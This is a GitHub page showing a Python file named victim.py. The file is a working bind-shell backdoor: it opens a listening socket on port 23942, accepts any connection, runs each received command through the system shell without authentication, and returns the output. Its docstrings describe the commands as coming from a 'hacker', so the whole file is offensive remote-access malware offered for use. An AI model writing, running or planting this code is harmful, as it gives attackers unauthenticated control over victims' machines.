-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathvictim.py
More file actions
68 lines (54 loc) · 1.86 KB
/
victim.py
File metadata and controls
68 lines (54 loc) · 1.86 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import subprocess
import socket
import threading
class Command_Control:
def __init__(self):
self.clients = []
self.HOST = socket.gethostbyname(socket.gethostname())
self.PORT = 23942
self.connection()
def connection(self):
"""Make the connection
"""
socket_servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket_servidor.bind((self.HOST, self.PORT))
socket_servidor.listen(10)
while True:
socket_client, addr = socket_servidor.accept()
print("Connected with:", str(addr))
self.clients.append(socket_client)
threading.Thread(target=self.recv_command, args=[socket_client]).start()
def delete_client(self, client):
"""Remove user active
Args:
client (object socket): socket_client
"""
self.clients.remove(client)
def run_command(self, command):
"""Run command received
Args:
command (string): command received from hacker
"""
for user in self.clients:
try:
process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
output, error = process.communicate()
output = output.decode("latin1")
if not output:
user.send(" ".encode())
else:
user.send(f"{output}".encode("latin1"))
except:
self.delete_client(user)
def recv_command(self, client):
"""Receive commands from hacker
Args:
client (object socket): socket_client
"""
try:
while True:
command = client.recv(4028).decode("utf-8")
self.run_command(command)
except:
pass
Command_Control()